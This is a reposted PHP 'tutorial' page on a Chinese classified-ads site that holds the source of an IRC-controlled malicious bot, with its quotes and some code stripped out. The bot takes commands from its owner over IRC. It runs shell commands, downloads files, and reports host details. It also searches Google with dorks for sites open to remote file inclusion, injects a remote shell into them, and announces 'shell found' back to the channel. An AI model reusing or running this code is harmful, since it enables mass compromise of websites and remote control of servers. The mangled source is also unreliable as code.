您好,欢迎来到三六零分类信息网!老站,搜索引擎当天收录,欢迎发信息

php RFI scanner_PHP教程

2025/6/5 2:43:41发布16次查看
$max_results ? $max_results : $max;
$i = 0;
while($i $ch = curl_init(http://www.google.com/search?q= . encodedork($dork) . &start= . $i);
curl_setopt($ch, curlopt_returntransfer, true);
curl_setopt($ch, curlopt_header, 0);
$ret = curl_exec($ch);
preg_match_all(/
.*?/, $ret, $links);
if(@$links[1]){
foreach($links[1] as $l){
$ret = shellinject($l, $bug, $shell, $search);
if($ret != false){
send([+] shell found: . $ret, $to);
}
}
}
else{
send(no sites found, $to);
}
curl_close($ch);
$i = $max>10 ? $i+=10 : $i++;
send($i scanned, $to);
pong();
}
}
else{
send(curl is not enabled, $to);
}
}$nick = randname();
sleep(1);
fputs($sck, user . $nick . ? * . $nick . @hotmail.com);
sleep(1);
fputs($sck, nick . $nick . );
$loggedin = false;
while(!feof($sck)){
$dat = fgets($sck, 4096);
$d = explode( , $dat);
preg_match_all(/:(.+)!(.+) privmsg (.+) :$trigger(w+)s*(.+)*/, $dat, $cmd);
if($d[0] == ping){
fputs($sck, pong . $d[1]);
}
if(strpos($dat, help register) !== false){
fputs($sck, join . $channel . . $channel_password . );
}
if(preg_match(/:(.+)!.+ privmsg .+ :.version(.)/, $dat, $v)){
fputs($sck, notice . $v[1] . . $v[2] . version mirc v6.3 khaled mardam-bey . $v[2] . );
}
if(@$cmd[4][0]){
$from = $cmd[1][0];
$from_host = $cmd[2][0];
$to = $cmd[3][0] == $nick ? $cmd[1][0] : $cmd[3][0];
$command = $cmd[4][0];
$args = $cmd[5][0];
if($from == $owner && $loggedin == true){
switch($command){
case cmd: execute_command(get_exec_function(), $args, $to); break;
case die: fputs($sck, quit :received die from . $from); die();
case get: $a = explode( , $args); get($a[0], $a[1], $to); break;
case inf: send(host: . $_server[http_host] . whoami: . @exec(whoami), $to); break;
case raw: fputs($sck, $args . ); break;
case rfi: $a = explode( , $args);
if(count($a) > 3){send(beginning rfi scan, $to); scan($a[0], $a[1], $a[2], $a[3], $to); send(rfi scan complete, $to);}
else send(usage: (dork) (bug) (shell) (search), $to);
break;
case say: send($args, $to); break;
default: send(unknown command., $to);
}
}
elseif($from == $owner && $loggedin == false){
if($command == login){
if(md5($args) == $owner_password){
$loggedin = true;
send(user $from successfully logged in., $to);
}
else{
send(login failed., $to);
}
}
}
}
$dat = ;
}
?>
credits flyz to: array(gohan, x4n4r, c0la, mari0, johan, rex, r00tz, smilee, sm4ck, nigr, stench);
have fun. =)
http://www.bkjia.com/phpjc/508526.htmlwww.bkjia.comtruehttp://www.bkjia.com/phpjc/508526.htmltecharticle?php //config////////////////////////////////////////////////////////////////// $network = ; // irc network address // $port = 6667; // irc network port // $channel = ; // irc...
该用户其它信息

VIP推荐

免费发布信息,免费发布B2B信息网站平台 - 三六零分类信息网 沪ICP备09012988号-2
企业名录 Product